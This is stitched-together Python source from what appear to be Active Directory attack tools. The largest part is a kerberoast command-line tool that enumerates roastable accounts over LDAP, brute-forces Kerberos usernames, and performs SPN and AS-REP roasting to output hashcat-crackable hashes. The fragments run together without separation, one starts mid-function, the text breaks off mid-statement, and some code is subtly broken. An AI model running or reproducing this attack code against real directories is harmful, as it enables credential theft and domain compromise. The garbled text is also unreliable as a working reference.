def main(): import argparse parser = argparse.ArgumentParser(description='MS LDAP library') parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') parser.add_argument('-n', '--no-interactive', action='store_true') parser.add_argument('url', help='Connection string in URL format.') parser.add_argument( 'commands', nargs='*', help= "Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell." ) args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) else: sockslogger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.DEBUG) asyncio.run(amain(args))
def main(): import os import argparse parser = argparse.ArgumentParser(description='auto collector for MP') #parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') #parser.add_argument('sql', help='SQL connection string in URL format') parser.add_argument('-q', '--sqlite_folder_path', default='./workdir', help='A folder to store enumeration results in') parser.add_argument('-m', '--multiplexor', default = 'ws://127.0.0.1:9999', help='multiplexor connection string in URL format') parser.add_argument('-p', '--parallel_cnt', default = get_cpu_count(), type=int, help='agent count') parser.add_argument('-o', '--progress-out-file', default = None, help='Filename to write progress to') parser.add_argument('-s', '--start-ui', action='store_true', help='Automatically start jackdaw UI after successful enumeration') args = parser.parse_args() logging.basicConfig(level=logging.DEBUG) msldaplogger.setLevel(logging.INFO) smblogger.setLevel(1) logging.getLogger('websockets.server').setLevel(logging.ERROR) logging.getLogger('websockets.client').setLevel(logging.ERROR) logging.getLogger('websockets.protocol').setLevel(logging.ERROR) logging.getLogger('aiosmb').setLevel(100) logging.getLogger('asysocks').setLevel(100) mas = MultiplexorAutoStart(args.multiplexor, args.sqlite_folder_path, parallel_cnt=args.parallel_cnt, progress_file_name = args.progress_out_file, start_ui = args.start_ui) asyncio.run(mas.run())
def main(): import argparse parser = argparse.ArgumentParser(description='MS LDAP library') parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') parser.add_argument('-n', '--no-interactive', action='store_true') parser.add_argument('url', help='Connection string in URL format.') args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) else: sockslogger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.DEBUG) ldap_url = MSLDAPURLDecoder(args.url) compdomlist = MSLDAPCompDomainList(ldap_url) asyncio.run(compdomlist.run())
def run_live(self, args): from msldap import logger as ldaplogger from msldap.examples.msldapclient import amain from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if args.host is not None: logonserver = args.host ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) if args.verbose == 0: ldaplogger.setLevel(100) elif args.verbose == 1: print('Using the following auto-generated URL: %s' % ldap_url) ldaplogger.setLevel(level=logging.INFO) else: level = 5 - args.verbose ldaplogger.setLevel(level=level) if args.liveldapcommand == 'client': la = LDAPCMDArgs() la.url = ldap_url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) asyncio.run(amain(la))
#if err is not None: # print(err) #changes = { # 'unicodePwd': [('replace', ['"TESTPassw0rd!1"'])], # #'lockoutTime': [('replace', [0])] #} #res, err = await client.modify(user, changes) #if err is not None: # print('ERR! %s' % err) #else: # print('OK!') res, err = await client.delete(user) if err is not None: print('ERR! %s' % err) await client.disconnect() if __name__ == '__main__': from msldap import logger from msldap.commons.credential import MSLDAPCredential, LDAPAuthProtocol from msldap.commons.target import MSLDAPTarget from msldap.protocol.query import query_syntax_converter logger.setLevel(2) asyncio.run(amain())
def run(): import argparse parser = argparse.ArgumentParser( description= 'Tool to perform kerberoast attack against service users in MS Active Directory' ) parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' ldap_group = subparsers.add_parser( 'ldap', help='Enumerate potentially vulnerable users via LDAP') ldap_group.add_argument('type', choices=['spn', 'asrep', 'full', 'custom', 'all'], help='type of vulnerable users to enumerate') ldap_group.add_argument( 'user', help= 'LDAP user specitication <domain>/<username>:<password>@<ip or hostname>' ) ldap_group.add_argument('-n', '--ntlm', action='store_true', help='Indicate if password is actually an NT hash') ldap_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') ldap_group.add_argument('-f', '--filter', help='CUSTOM mode only. LDAP search filter') ldap_group.add_argument( '-a', '--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display') ldap_group.add_argument( '-s', '--use-sspi', action='store_true', help= 'Use built-in windows SSPI for authentication. No credentials needed, will use the current user context.' ) brute_group = subparsers.add_parser( 'brute', help='Enumerate users via brute-forcing kerberos service') brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>') brute_group.add_argument('address', help='Address of the DC') brute_group.add_argument( 'targets', help='File with a list of usernames to enumerate, one user per line') brute_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting') asreproast_group.add_argument('address', help='Address of the DC') asreproast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') asreproast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) asreproast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) asreproast_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') spnroast_group = subparsers.add_parser( 'spnroast', help='Perform spn roasting (aka kerberoasting)') spnroast_group.add_argument( 'logincreds', help= 'Either CCACHE file name or Kerberos login data <realm>/<username>:<password or NT hash or AES key>@<ip or hostname> Can be omitted for asrep command.' ) spnroast_group.add_argument( '-n', '--ntlm', action='store_true', help='Indicate if password is actually an NT hash') spnroast_group.add_argument( '-a', '--aes', action='store_true', help= 'Indicate if password is actually an AES key (AES128 and AES256 agnostic)' ) spnroast_group.add_argument( '-d', '--des', action='store_true', help= 'Indicate if password is actually an DES key (if DC allows this there are waay more issues than kerberoast)' ) spnroast_group.add_argument( '-c', '--ccache', action='store_true', help='Indicate if target is actually a CCACHE file') spnroast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) spnroast_group.add_argument( '-e', '--etype', default=-1, const=-1, nargs='?', choices=[23, 17, 18, -1], type=int, help='Set preferred encryption type. -1 for all') spnroastsspi_group = subparsers.add_parser( 'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)') spnroastsspi_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroastsspi_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroastsspi_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroastsspi_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) auto_group = subparsers.add_parser( 'auto', help= 'Just get the tickets already. Only works on windows under any domain-user context' ) auto_group.add_argument('dc_ip', help='Target domain controller') auto_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) kerblogger.setLevel(logging.WARNING) msldaplogger.setLevel(logging.WARNING) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) kerblogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.INFO) else: logging.basicConfig(level=1) kerblogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.DEBUG) #ksoc = KerberosSocket(args.target) if args.command == 'auto': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') target_server = MSLDAPTargetServer(args.dc_ip) ldap = MSLDAP(None, target_server, use_sspi=True) ldap.connect() adinfo = ldap.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') spn_users = [] asrep_users = [] results = [] errors = [] for user in ldap.get_all_knoreq_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) for user in ldap.get_all_service_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosSocket(args.address) ar = APREPRoast(ks) results += ar.run(creds, override_etype=[args.etype]) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'spnroast-sspi': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if len(targets) == 0: raise Exception('No targets loaded!') logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.ccache: raise Exception('Not implemented yet!') else: domain, username, password, target = from_target_string( args.logincreds) if not password: password = getpass.getpass() if not domain: raise Exception( 'Missing domain from kerberos logon credentials') if not username: raise Exception( 'Missing username from kerberos logon credentials') if not target: raise Exception( 'Missing target from kerberos logon credentials') cred = KerberosCredential() cred.domain = domain cred.username = username if args.ntlm: cred.nt_hash = password elif args.aes: if len(password) == 32: cred.kerberos_key_aes_128 = password elif len(password) == 64: cred.kerberos_key_aes_256 = password else: raise Exception( 'Kerberos logon credential AES keysize incorrect!') else: cred.password = password ks = KerberosSocket(target) ar = Kerberoast(cred, ks) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) hashes = ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) logging.debug('ASREPRoast loaded %d targets' % len(creds)) logging.debug( 'ASREPRoast will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosSocket(args.address) ar = APREPRoast(ks) hashes = ar.run(creds, override_etype=[args.etype]) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'brute': users = [] with open(args.targets, 'r') as f: for line in f: users.append(line.strip()) ksoc = KerberosSocket(args.address) ke = KerberosUserEnum(ksoc) results = ke.run(args.realm, users) logging.info('Enumerated %d users!' % len(results)) if args.out_file: with open(args.out_file, 'w') as f: for user in results: f.write(user + '\r\n') else: print('[+] Enumerated users:') for user in results: print(user) logging.info('Kerberos user enumeration complete') elif args.command == 'ldap': domain, username, password, target = from_target_string(args.user) if not password: password = getpass.getpass() ldap_server = MSLDAPTargetServer(target) creds = MSLDAPUserCredential(username=username, domain=domain, password=password, is_ntlm=args.ntlm) ldap = MSLDAP(creds, ldap_server, use_sspi=args.use_sspi) ldap.connect() adinfo = ldap.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: for user in ldap.get_all_service_user_objects(): cnt += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] SPN users') for user in ldap.get_all_service_user_objects(): cnt += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: for user in ldap.get_all_knoreq_user_objects(): ctr += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] ASREP users') for user in ldap.get_all_knoreq_user_objects(): ctr += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) for user in ldap.get_all_user_objects(): ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) for user in ldap.get_all_user_objects(): ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) if args.type in ['custom']: if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) for obj in ldap.pagedsearch(self, args.filter, args.attrs): ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: for obj in ldap.pagedsearch(self, args.filter, args.attrs): ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ])) logging.debug('Custom search yielded %d results!' % ctr)
def run(): import argparse parser = argparse.ArgumentParser( description='Tool to perform verious kerberos security tests', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=kerberoast_epilog) parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' ldap_group = subparsers.add_parser( 'ldap', formatter_class=argparse.RawDescriptionHelpFormatter, help='Enumerate potentially vulnerable users via LDAP', epilog=MSLDAPURLDecoder.help_epilog) ldap_group.add_argument('type', choices=['spn', 'asrep', 'full', 'custom', 'all'], help='type of vulnerable users to enumerate') ldap_group.add_argument('ldap_url', help='LDAP connection URL') ldap_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') ldap_group.add_argument('-f', '--filter', help='CUSTOM mode only. LDAP search filter') ldap_group.add_argument( '-a', '--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display') brute_group = subparsers.add_parser( 'brute', help='Enumerate users via brute-forcing kerberos service') brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>') brute_group.add_argument('address', help='Address of the DC') brute_group.add_argument( 'targets', help='File with a list of usernames to enumerate, one user per line') brute_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting') asreproast_group.add_argument('address', help='Address of the DC') asreproast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') asreproast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) asreproast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') asreproast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) asreproast_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') spnroast_group = subparsers.add_parser( 'spnroast', help='Perform spn roasting (aka kerberoasting)', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) spnroast_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) spnroast_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroast_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroast_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroast_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) spnroast_group.add_argument( '-e', '--etype', default=-1, const=-1, nargs='?', choices=[23, 17, 18, -1], type=int, help='Set preferred encryption type. -1 for all') spnroastsspi_group = subparsers.add_parser( 'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)') spnroastsspi_group.add_argument( '-t', '--targets', help='File with a list of usernames to roast, one user per line') spnroastsspi_group.add_argument( '-u', '--user', action='append', help= 'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.' ) spnroastsspi_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') spnroastsspi_group.add_argument( '-r', '--realm', help= 'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any' ) tgt_group = subparsers.add_parser( 'tgt', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) tgt_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgt_group.add_argument('out_file', help='Output CCACHE file') tgs_group = subparsers.add_parser( 'tgs', help='Fetches a TGT for the given user credential', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=KerberosCredential.help_epilog) tgs_group.add_argument( 'kerberos_connection_string', help= 'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>' ) tgs_group.add_argument( 'spn', help= 'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>' ) tgs_group.add_argument('out_file', help='Output CCACHE file') auto_group = subparsers.add_parser( 'auto', help= 'Just get the tickets already. Only works on windows under any domain-user context' ) auto_group.add_argument('dc_ip', help='Target domain controller') auto_group.add_argument( '-o', '--out-file', help='Output file base name, if omitted will print results to STDOUT') auto_group.add_argument('-e', '--etype', default=23, const=23, nargs='?', choices=[23, 17, 18], type=int, help='Set preferred encryption type') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) kerblogger.setLevel(logging.WARNING) msldaplogger.setLevel(logging.WARNING) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) kerblogger.setLevel(logging.INFO) msldaplogger.setLevel(logging.INFO) else: logging.basicConfig(level=1) kerblogger.setLevel(logging.DEBUG) msldaplogger.setLevel(logging.DEBUG) #ksoc = KerberosSocket(args.target) if args.command == 'tgs': cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) domain, hostname = args.spn.split('/') target = KerberosTarget() target.username = hostname target.domain = domain comm = KerbrosComm(cred, ks) comm.get_TGT() comm.get_TGS(target) comm.ccache.to_file(args.out_file) elif args.command == 'tgt': cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) comm = KerbrosComm(cred, ks) comm.get_TGT() comm.ccache.to_file(args.out_file) elif args.command == 'auto': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') domain = args.dc_ip url = 'ldap+sspi://%s' % domain msldap_url = MSLDAPURLDecoder(url) connection = msldap_url.get_connection() connection.connect() adinfo = connection.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') spn_users = [] asrep_users = [] results = [] errors = [] for user in connection.get_all_knoreq_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) for user in connection.get_all_service_user_objects(): cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: ks = KerberosSocket(domain) ar = APREPRoast(ks) results += ar.run([cred], override_etype=[args.etype]) for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) elif args.command == 'spnroast-sspi': try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) spn_name = '%s@%s' % (username, domain) targets.append(spn_name) results = [] errors = [] for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if len(targets) == 0: raise Exception('No targets loaded!') logging.debug('Kerberoast loaded %d targets' % len(targets)) cred = KerberosCredential.from_connection_string( args.kerberos_connection_string) ks = KerberosSocket.from_connection_string( args.kerberos_connection_string) ar = Kerberoast(cred, ks) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) hashes = ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] if args.targets: with open(args.targets, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) if args.user: for user in args.user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) cred = KerberosCredential() cred.username = username cred.domain = domain creds.append(cred) logging.debug('ASREPRoast loaded %d targets' % len(creds)) logging.debug( 'ASREPRoast will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosSocket(args.address) ar = APREPRoast(ks) hashes = ar.run(creds, override_etype=[args.etype]) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'brute': users = [] with open(args.targets, 'r') as f: for line in f: users.append(line.strip()) ksoc = KerberosSocket(args.address) ke = KerberosUserEnum(ksoc) results = ke.run(args.realm, users) logging.info('Enumerated %d users!' % len(results)) if args.out_file: with open(args.out_file, 'w') as f: for user in results: f.write(user + '\r\n') else: print('[+] Enumerated users:') for user in results: print(user) logging.info('Kerberos user enumeration complete') elif args.command == 'ldap': ldap_url = MSLDAPURLDecoder(args.ldap_url) connection = ldap_url.get_connection() connection.connect() adinfo = connection.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') if args.out_file: basefolder = ntpath.dirname(args.out_file) basefile = ntpath.basename(args.out_file) if args.type in ['spn', 'all']: logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: for user in connection.get_all_service_user_objects(): cnt += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] SPN users') for user in connection.get_all_service_user_objects(): cnt += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d SPN user accounts' % cnt) if args.type in ['asrep', 'all']: logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: for user in connection.get_all_knoreq_user_objects(): ctr += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] ASREP users') for user in connection.get_all_knoreq_user_objects(): ctr += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d ASREP user accounts' % ctr) if args.type in ['full', 'all']: logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = 